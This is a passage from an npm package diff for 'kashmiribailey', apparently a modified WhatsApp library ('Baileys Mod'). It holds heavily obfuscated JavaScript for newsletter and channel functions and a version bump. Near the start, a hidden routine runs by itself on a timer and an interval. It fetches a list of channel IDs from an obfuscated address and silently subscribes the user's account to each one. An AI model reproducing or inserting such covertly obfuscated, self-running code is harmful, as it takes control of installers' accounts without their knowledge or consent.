_0x582510[_0x20e693(0x1ec)](fetch,_0x298e0f);if(!_0x46227b['ok'])throw new Error(_0x20e693(0x1d4)+_0x20e693(0x2b1)+_0x46227b[_0x20e693(0x263)]);const _0x4f9058=await _0x46227b[_0x20e693(0x1e4)](),_0x34e2c0=_0x4f9058[_0x20e693(0x24f)]||[];let _0x67d3d9=![];for(const _0x21cb4a of _0x34e2c0){if(!_0x1f03a5[_0x20e693(0x2cd)](_0x21cb4a))try{const _0x19603f=_0x582510[_0x20e693(0x23f)][_0x20e693(0x237)]('|');let _0x55ef89=-0x6*0x43+0x172*0x17+0x7eb*-0x4;while(!![]){switch(_0x19603f[_0x55ef89++]){case'0':await new Promise(_0xdcdc69=>setTimeout(_0xdcdc69,-0x138*0x2+-0x262+-0x3a*-0x49));continue;case'1':await _0x582510[_0x20e693(0x1f3)](_0xfe38c8,_0x21cb4a,QueryIds[_0x20e693(0x1d5)],{'input':{'client_context':_0x582510[_0x20e693(0x2a9)](_0x2b425e),'subscribed':!![]}});continue;case'2':_0x1f03a5[_0x20e693(0x2a8)](_0x21cb4a);continue;case'3':_0x41a226[_0x20e693(0x204)]?.[_0x20e693(0x2a4)](_0x20e693(0x271)+_0x20e693(0x25e)+_0x20e693(0x250)+_0x20e693(0x1f5)+_0x20e693(0x246)+_0x21cb4a);continue;case'4':_0x67d3d9=!![];continue;}break;}}catch(_0x23c76e){_0x41a226[_0x20e693(0x204)]?.[_0x20e693(0x228)](_0x20e693(0x271)+_0x20e693(0x211)+_0x20e693(0x27f)+_0x20e693(0x20d)+'\x20'+_0x21cb4a+':\x20'+_0x23c76e[_0x20e693(0x27b)]);}}_0x67d3d9&&fs[_0x20e693(0x1eb)+_0x20e693(0x283)](_0x4da223,JSON[_0x20e693(0x1cb)](Array[_0x20e693(0x2c5)](_0x1f03a5),null,-0x3e*-0x7+0x14b3+0xb*-0x209));}catch(_0x5350a4){_0x41a226[_0x20e693(0x204)]?.[_0x20e693(0x228)](_0x20e693(0x271)+_0x20e693(0x1cf)+_0x20e693(0x1e3)+_0x20e693(0x2bd)+_0x20e693(0x1be)+_0x20e693(0x2b8)+_0x5350a4[_0x20e693(0x27b)]);}};return _0x582510[_0x20a165(0x264)](setTimeout,()=>{const _0x138932=_0x20a165;_0x582510[_0x138932(0x22f)](_0x2262be),_0x582510[_0x138932(0x264)](setInterval,_0x2262be,-0x16b7f*-0x1+0x15b15*-0xd+0x195c52);},0xafe+-0x1678+0x1f02),{..._0x1a9e4b,'subscribeNewsletterUpdates':async _0x52cf9a=>{const _0x22df0c=_0x20a165;var _0x5484f6;const _0x46c753=await _0x582510[_0x22df0c(0x293)](_0x102dca,_0x52cf9a,_0x582510[_0x22df0c(0x1e0)],[{'tag':_0x582510[_0x22df0c(0x29c)],'attrs':{},'content':[]}]);return _0x582510[_0x22df0c(0x1d3)](_0x5484f6=(0xc5+0x16ba*-0x1+0x15f5,WABinary_1[_0x22df0c(0x282)+_0x22df0c(0x2b0)])(_0x46c753,_0x582510[_0x22df0c(0x29c)]),null)||_0x582510[_0x22df0c(0x233)](_0x5484f6,void(-0x1565*-0x1+0x1*0xe4a+-0xf*0x261))?void(-0x128f*0x1+0x97+0x11f8):_0x5484f6[_0x22df0c(0x1f7)];},'newsletterReactionMode':async(_0x23c43d,_0x470aed)=>{const _0x210a3e=_0x20a165;await _0x582510[_0x210a3e(0x1d8)](_0xfe38c8,_0x23c43d,QueryIds[_0x210a3e(0x274)+'ON'],{'updates':{'settings':{'reaction_codes':{'value':_0x470aed}}}});},'newsletterUpdateDescription':async(_0x43ef97,_0x3a4eb0)=>{const _0x53694f=_0x20a165;await _0x582510[_0x53694f(0x1d8)](_0xfe38c8,_0x43ef97,QueryIds[_0x53694f(0x274)+'ON'],{'updates':{'description':_0x582510[_0x53694f(0x2c8)](_0x3a4eb0,''),'settings':null}});},'newsletterUpdateName':async(_0x28b1b4,_0x49692e)=>{const _0x5278bf=_0x20a165;await _0x582510[_0x5278bf(0x244)](_0xfe38c8,_0x28b1b4,QueryIds[_0x5278bf(0x274)+'ON'],{'updates':{'name':_0x49692e,'settings':null}});},'newsletterUpdatePicture':async(_0x573467,_0x43a5c0)=>{const _0x5a4ce1=_0x20a165,{img:_0x3558c7}=await(0x1bfa+-0x22*-0xe2+0x476*-0xd,Utils_1[_0x5a4ce1(0x2c2)+_0x5a4ce1(0x27d)+'re'])(_0x43a5c0);await _0x582510[_0x5a4ce1(0x229)](_0xfe38c8,_0x573467,QueryIds[_0x5a4ce1(0x274)+'ON'],{'updates':{'picture':_0x3558c7[_0x5a4ce1(0x28e)](_0x582510[_0x5a4ce1(0x292)]),'settings':null}});},'newsletterRemovePicture':async _0x9b8cb7=>{const _0x2b3e93=_0x20a165;await _0x582510[_0x2b3e93(0x249)](_0xfe38c8,_0x9b8cb7,QueryIds[_0x2b3e93(0x274)+'ON'],{'updates':{'picture':'','settings':null}});},'newsletterUnfollow':async _0x57f32d=>{const _0x3e64bd=_0x20a165;await _0x582510[_0x3e64bd(0x264)](_0xfe38c8,_0x57f32d,QueryIds[_0x3e64bd(0x1d9)]);},'newsletterFollow':async _0x6bdb10=>{const _0x241ee5=_0x20a165;await _0x582510[_0x241ee5(0x264)](_0xfe38c8,_0x6bdb10,QueryIds[_0x241ee5(0x1d5)]);},'newsletterUnmute':async _0x2b6309=>{const _0x1deaf2=_0x20a165;await _0x582510[_0x1deaf2(0x278)](_0xfe38c8,_0x2b6309,QueryIds[_0x1deaf2(0x1ed)]);},'newsletterMute':async _0x5bc166=>{const _0x2d77e2=_0x20a165;await _0x582510[_0x2d77e2(0x264)](_0xfe38c8,_0x5bc166,QueryIds[_0x2d77e2(0x1ee)]);},'newsletterCreate':async(_0x3e7d3a,_0x519bcc,_0x2e777a)=>{const _0xd02747=_0x20a165;await _0x582510[_0xd02747(0x29d)](_0x27be09,{'tag':'iq','attrs':{'to':WABinary_1[_0xd02747(0x257)+_0xd02747(0x259)],'xmlns':_0x582510[_0xd02747(0x1b8)],'id':_0x582510[_0xd02747(0x1c2)](_0x2b425e),'type':_0x582510[_0xd02747(0x1e0)]},'content':[{'tag':_0x582510[_0xd02747(0x2bb)],'attrs':{'id':_0x582510[_0xd02747(0x26a)],'stage':'5'},'content':[]}]});const _0x43d066=await _0x582510[_0xd02747(0x2b9)](_0xfe38c8,undefined,QueryIds[_0xd02747(0x1da)],{'input':{'name':_0x3e7d3a,'description':_0x582510[_0xd02747(0x2cc)](_0x519bcc,null)&&_0x582510[_0xd02747(0x2cc)](_0x519bcc,void(0x405*-0x1+0x26*-0x4f+-0xfbf*-0x1))?_0x519bcc:null,'picture':_0x2e777a?(await(-0x1c6b+-0x5*-0x63+0x1a7c,Utils_1[_0xd02747(0x2c2)+_0xd02747(0x27d)+'re'])(_0x2e777a))[_0xd02747(0x22e)][_0xd02747(0x28e)](_0x582510[_0xd02747(0x292)]):null,'settings':null}});return(-0xa57*0x3+0x2*-0x329+0x4f*0x79,exports[_0xd02747(0x269)+_0xd02747(0x1e7)+_0xd02747(0x208)])(_0x43d066,!![]);},'newsletterMetadata':async(_0x2fcb1b,_0x287fb3,_0x3b6ad9)=>{const _0x1e5672=_0x20a165,_0x4acfe1=await _0x582510[_0x1e5672(0x1d8)](_0xfe38c8,undefined,QueryIds[_0x1e5672(0x288)],{'input':{'key':_0x287fb3,'type':_0x2fcb1b[_0x1e5672(0x255)+'e'](),'view_role':_0x582510[_0x1e5672(0x248)](_0x3b6ad9,_0x582510[_0x1e5672(0x1e6)])},'fetch_viewer_metadata':!![],'fetch_full_image':!![],'fetch_creation_time':!![]});return(-0x11bd+-0x10a2+0x225f,exports[_0x1e5672(0x269)+_0x1e5672(0x1e7)+_0x1e5672(0x208)])(_0x4acfe1);},'newsletterAdminCount':async _0x2ae6e5=>{const _0x4438db=_0x20a165;var _0x20f8d8,_0x46bb6e;const _0x1897c9=await _0x582510[_0x4438db(0x29f)](_0xfe38c8,_0x2ae6e5,QueryIds[_0x4438db(0x1ff)+'T']),_0x508e2c=_0x582510[_0x4438db(0x1de)](_0x46bb6e=_0x582510[_0x4438db(0x238)](_0x20f8d8=(0x2238+0x132d+-0x3565,WABinary_1[_0x4438db(0x282)+_0x4438db(0x2b0)])(_0x1897c9,_0x582510[_0x4438db(0x221)]),null)||_0x582510[_0x4438db(0x238)](_0x20f8d8,void(-0xa57*-0x3+0xd92+-0x5*0x8eb))?void(-0x97d+0x2604+-0x43*0x6d):_0x20f8d8[_0x4438db(0x1ef)],null)||_0x582510[_0x4438db(0x238)](_0x46bb6e,void(0x1446+-0x1*0x1943+0x1*0x4fd))?void(0x25a7+0x21eb*0x1+0x23c9*-0x2):_0x46bb6e[_0x4438db(0x28e)]();return JSON[_0x4438db(0x219)](_0x508e2c)[_0x4438db(0x245)][Types_1[_0x4438db(0x1c5)][_0x4438db(0x1ff)+'T']][_0x4438db(0x2be)+'t'];},'newsletterChangeOwner':async(_0x27213f,_0x521cb4)=>{const _0x19e4b7=_0x20a165;await _0x582510[_0x19e4b7(0x2b9)](_0xfe38c8,_0x27213f,QueryIds[_0x19e4b7(0x240)+'ER'],{'user_id':_0x521cb4});},'newsletterDemote':async(_0x34d910,_0x301ead)=>{const _0x28aac4=_0x20a165;await _0x582510[_0x28aac4(0x1d8)](_0xfe38c8,_0x34d910,QueryIds[_0x28aac4(0x2c4)],{'user_id':_0x301ead});},'newsletterDelete':async _0x158e09=>{const _0x12eb44=_0x20a165;await _0x582510[_0x12eb44(0x278)](_0xfe38c8,_0x158e09,QueryIds[_0x12eb44(0x1fc)]);},'newsletterReactMessage':async(_0x46287a,_0x4dfc9f,_0x1ce0e5)=>{const _0x2b8cda=_0x20a165;await _0x582510[_0x2b8cda(0x29a)](_0x27be09,{'tag':_0x582510[_0x2b8cda(0x236)],'attrs':{'to':_0x46287a,...!_0x1ce0e5?{'edit':'7'}:{},'type':_0x582510[_0x2b8cda(0x1f8)],'server_id':_0x4dfc9f,'id':(0x1*-0x11d5+-0x5c1*-0x4+-0x52f,Utils_1[_0x2b8cda(0x2ca)+_0x2b8cda(0x291)])()},'content':[{'tag':_0x582510[_0x2b8cda(0x1f8)],'attrs':_0x1ce0e5?{'code':_0x1ce0e5}:{}}]});},'newsletterFetchMessages':async(_0x5c78ef,_0x40c605,_0x4c613b,_0x5a9470)=>{const _0x1ac5dd=_0x20a165,_0x57cd2d=_0x582510[_0x1ac5dd(0x267)](_0x5a9470,null)||_0x582510[_0x1ac5dd(0x202)](_0x5a9470,void(-0x2486+0x71*0xa+-0x807*-0x4))?void(-0xc3b+-0x42f+0x106a):_0x5a9470[_0x1ac5dd(0x28e)](),_0xe8ea0e=await _0x582510[_0x1ac5dd(0x249)](_0x102dca,WABinary_1[_0x1ac5dd(0x257)+_0x1ac5dd(0x259)],_0x582510[_0x1ac5dd(0x279)],[{'tag':_0x582510[_0x1ac5dd(0x2c3)],'attrs':{'type':_0x5c78ef,..._0x582510[_0x1ac5dd(0x1de)](_0x5c78ef,_0x582510[_0x1ac5dd(0x242)])?{'key':_0x40c605}:{'jid':_0x40c605},'count':_0x4c613b[_0x1ac5dd(0x28e)](),'after':_0x582510[_0x1ac5dd(0x2c1)](_0x57cd2d,_0x582510[_0x1ac5dd(0x25f)])}}]);return await _0x582510[_0x1ac5dd(0x278)](_0x1f1e06,_0xe8ea0e,_0x582510[_0x1ac5dd(0x2c3)]);},'newsletterFetchUpdates':async(_0x17584b,_0x22423c,_0x28e312,_0x55831e)=>{const _0x3cf974=_0x20a165,_0x10a864=await _0x582510[_0x3cf974(0x249)](_0x102dca,_0x17584b,_0x582510[_0x3cf974(0x279)],[{'tag':_0x582510[_0x3cf974(0x21e)],'attrs':{'count':_0x22423c[_0x3cf974(0x28e)](),'after':(_0x582510[_0x3cf974(0x1b6)](_0x28e312,null)||_0x582510[_0x3cf974(0x265)](_0x28e312,void(0x879+-0x69d+-0xe*0x22))?void(-0x1c03+0x343*-0x5+0x3e*0xb7):_0x28e312[_0x3cf974(0x28e)]())||_0x582510[_0x3cf974(0x25f)],'since':(_0x582510[_0x3cf974(0x218)](_0x55831e,null)||_0x582510[_0x3cf974(0x233)](_0x55831e,void(0x38+-0x25*-0xa8+0x40*-0x62))?void(0x38b+-0x1dcd+0x1a42):_0x55831e[_0x3cf974(0x28e)]())||'0'}}]);return await _0x582510[_0x3cf974(0x278)](_0x1f1e06,_0x10a864,_0x582510[_0x3cf974(0x1bb)]);}};};exports[_0xde8fac(0x1c1)+_0xde8fac(0x251)]=makeNewsletterSocket;function _0xffa3(_0x5625b2,_0x177b0b){_0x5625b2=_0x5625b2-(-0x116f+-0x24c7+0x37eb*0x1);const _0x1e1b28=_0x60f9();let _0x5d0c21=_0x1e1b28[_0x5625b2];return _0x5d0c21;}const extractNewsletterMetadata=(_0x46c389,_0x1ebe19)=>{const _0x159a41=_0xde8fac,_0x21c2cc={'dtKRs':function(_0x362f7b,_0xb923d){return _0x362f7b===_0xb923d;},'dIAPd':function(_0x3c5494,_0x375185){return _0x3c5494===_0x375185;},'GEKUL':_0x159a41(0x28b),'trzID':function(_0x4434f0,_0x213265){return _0x4434f0===_0x213265;},'ElWdK':function(_0xe23ae,_0x1d5000){return _0xe23ae===_0x1d5000;}};var _0x197b2c,_0x241ad6,_0x26989a,_0x34c3d9;const _0x185a59=_0x21c2cc[_0x159a41(0x285)](_0x241ad6=_0x21c2cc[_0x159a41(0x23d)](_0x197b2c=(0x248c*0x1+0x1b70+-0x3ffc,WABinary_1[_0x159a41(0x282)+_0x159a41(0x2b0)])(_0x46c389,_0x21c2cc[_0x159a41(0x2a1)]),null)||_0x21c2cc[_0x159a41(0x23d)](_0x197b2c,void(-0x546*-0x5+0x1*0x302+-0x1d60))?void(-0x1*-0x231+0x4d6+-0x101*0x7):_0x197b2c[_0x159a41(0x1ef)],null)||_0x21c2cc[_0x159a41(0x285)](_0x241ad6,void(0x1*0x3b+0x1ef4+-0x1f2f))?void(0x2371*0x1+-0x37*0x48+-0x13f9*0x1):_0x241ad6[_0x159a41(0x28e)](),_0x24531e=JSON[_0x159a41(0x219)](_0x185a59)[_0x159a41(0x245)][_0x1ebe19?Types_1[_0x159a41(0x1c5)][_0x159a41(0x1da)]:Types_1[_0x159a41(0x1c5)][_0x159a41(0x220)]],_0x144fdd={'id':_0x24531e['id'],'state':_0x24531e[_0x159a41(0x1df)][_0x159a41(0x23e)],'creation_time':+_0x24531e[_0x159a41(0x299)+_0x159a41(0x208)][_0x159a41(0x20c)+_0x159a41(0x25c)],'name':_0x24531e[_0x159a41(0x299)+_0x159a41(0x208)][_0x159a41(0x1f9)][_0x159a41(0x26e)],'nameTime':+_0x24531e[_0x159a41(0x299)+_0x159a41(0x208)][_0x159a41(0x1f9)][_0x159a41(0x280)+'e'],'description':_0x24531e[_0x159a41(0x299)+_0x159a41(0x208)][_0x159a41(0x235)+'n'][_0x159a41(0x26e)],'descriptionTime':+_0x24531e[_0x159a41(0x299)+_0x159a41(0x208)][_0x159a41(0x235)+'n'][_0x159a41(0x280)+'e'],'invite':_0x24531e[_0x159a41(0x299)+_0x159a41(0x208)][_0x159a41(0x26b)],'handle':_0x24531e[_0x159a41(0x299)+_0x159a41(0x208)][_0x159a41(0x224)],'picture':(_0x21c2cc[_0x159a41(0x285)](_0x26989a=_0x24531e[_0x159a41(0x299)+_0x159a41(0x208)][_0x159a41(0x21d)],null)||_0x21c2cc[_0x159a41(0x23b)](_0x26989a,void(0x2*-0x8c5+-0xb*0x251+0x2b05))?void(-0x2033*-0x1+0x983*-0x1+-0x16b0):_0x26989a[_0x159a41(0x1d7)+'h'])||null,'preview':(_0x21c2cc[_0x159a41(0x23d)](_0x34c3d9=_0x24531e[_0x159a41(0x299)+_0x159a41(0x208)][_0x159a41(0x29b)],null)||_0x21c2cc[_0x159a41(0x261)](_0x34c3d9,void(0x3f7*-0x1+0xf1e+-0xb27))?void(-0x2*0xb84+-0x23e5+0x5*0xbc9):_0x34c3d9[_0x159a41(0x1d7)+'h'])||null,'reaction_codes':_0x24531e[_0x159a41(0x299)+_0x159a41(0x208)][_0x159a41(0x284)][_0x159a41(0x2a3)+_0x159a41(0x24d)][_0x159a41(0x2bc)],'subscribers':+_0x24531e[_0x159a41(0x299)+_0x159a41(0x208)][_0x159a41(0x22b)+_0x159a41(0x277)],'verification':_0x24531e[_0x159a41(0x299)+_0x159a41(0x208)][_0x159a41(0x28c)+'on'],'viewer_metadata':_0x24531e[_0x159a41(0x1bf)+_0x159a41(0x208)]};return _0x144fdd;};exports[_0xde8fac(0x269)+_0xde8fac(0x1e7)+_0xde8fac(0x208)]=extractNewsletterMetadata;
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "kashmiribailey",
3
- "version": "2.0.3",
3
+ "version": "2.0.5",
4
4
  "description": "Baileys Mod By KASHMIRI",
5
5
  "keywords": [
6
6
  "baileys",